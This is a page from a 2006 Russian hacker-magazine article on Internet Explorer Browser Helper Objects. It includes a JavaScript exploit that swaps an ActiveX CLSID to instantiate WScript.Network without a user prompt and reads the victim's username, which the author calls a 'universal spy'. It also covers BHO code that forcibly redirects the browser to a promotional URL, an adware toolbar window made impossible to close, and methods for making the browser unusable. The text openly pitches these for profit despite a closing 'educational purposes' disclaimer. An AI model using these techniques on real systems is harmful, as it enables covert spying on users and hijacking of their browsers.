Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #70, СЕНТЯБРЬ 2006 г.

Тотальный контроль браузера

Кочубей Павел aka zOrd

Спецвыпуск: Хакер, номер #070, стр. 070-052-4


После загрузки ActiveX модифицируем его CLSID, заменяя его на CLSID необходимого нам несертифицированного ActiveX (в данном случае WScript.Network):

<script>

function modify(){

theActiveX.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}")//заменяем CLSID

//Именно в этом месте кроется уязвимость.

//Если браузер выдает ошибку в следующем операторе, значит, он не подвержен уязвимости

theActiveX.createInstance()//создаем новый объект

WshNetwork = theActiveX.GetObject()//получаем модифицированный объект

var userName=WshNetwork.UserName;//получаем информацию о пользователе

}

</script>

После загрузки странички приведенный скрипт нужно запускать спустя несколько секунд, поскольку объекту требуется время, чтобы активироваться:

<script>setTimeout("modify()",1000);//запускаем модификацию CLSID после загрузки страницы

</script>

После модификации CLSID-объекта мы получаем новый объект с нужным нам CLSID, и браузер при этом не запрашивает подтверждения на запуск у пользователя!

[даешь больше функций!]

Можно сказать, что у нас получился универсальный шпион, но ведь на свете существует еще много интересного! Посмотрим на функции, которые могут помочь в создании собственного BHO.

Как известно, многие веб-мастеры хотят, чтобы их проект лицезрело большое количество народу… а что необходимо для раскрутки проекта? Конечно, помимо честных способов и финансирования различных добрых помощников. Наверное, BHO в этом тоже может помочь, ведь существует функция для задания URL. Рассмотрим ее на примере.

//Используем уже знакомую нам функцию IWebBrowser2

m_spWebBrowser->Navigate(TEXT("http://www.offbit.1gb.ru")0,0,0,0)

При условии грамотного использований BHO компьютерный негодяй сможет сделать по-настоящему прибыльное дело! К примеру, можно установить в панели браузера небольшую рекламу, которую будет лицезреть жертва. Чтобы узнать об этом больше, нужно почитать информацию вот об этих функциях:

IObjectWithSite

IPersistStream

IDeskBand

Мне больше всего понравилась IDeskBand. В ее коде явно прописывается, какое сделать окно, и описывается функция закрытия окна, а это для нас важно! Можно просто пропустить эту функцию — и тогда оно откроется навечно.

Вот пример:

STDMETHODIMP CExplorerBar::ShowDW(BOOL fShow)

{

if(m_hWnd)

{

if(fShow)

{

//show our window

ShowWindow(m_hWnd, SW_SHOW);

}

else

{

//hide our window

ShowWindow(m_hWnd, SW_HIDE);

}

}

return S_OK;

}

Для товарищей, которым понравился такой злокачественный вариант рекламы, прямая дорога в MSDN, в раздел «Creating Custom Explorer Bars, Tool Bands, and Desk Bands» — там приводятся конкретные примеры по созданию Bars & Bands.

Если же программер является шутником или просто великим врагом Internet Explorer, то для него у нас тоже припасен один пример.

Если рассмотреть функцию IHTMLDocument2 — в ней можно найти уйму интересных методов, например, следующие: close, open, offline и, конечно же, write. С помощью этих нехитрых функций плохой человек сможет сделать работу в IE невозможной!

[The End]

Вот и подошла к концу наша поэма о BHO. Основываясь на этой статье и MSDN, ты сможешь сделать то, о чем мечтал долгие годы: простого и функционального помощника. Но учти, что использовать его в противозаконных целях – большое зло! Статья написана в образовательных целях, так что мы не несем ответственности за людей, которые любят совать нос в чужие дела!

Назад на стр. 070-052-3  Содержание  Вперед на стр. 070-052-5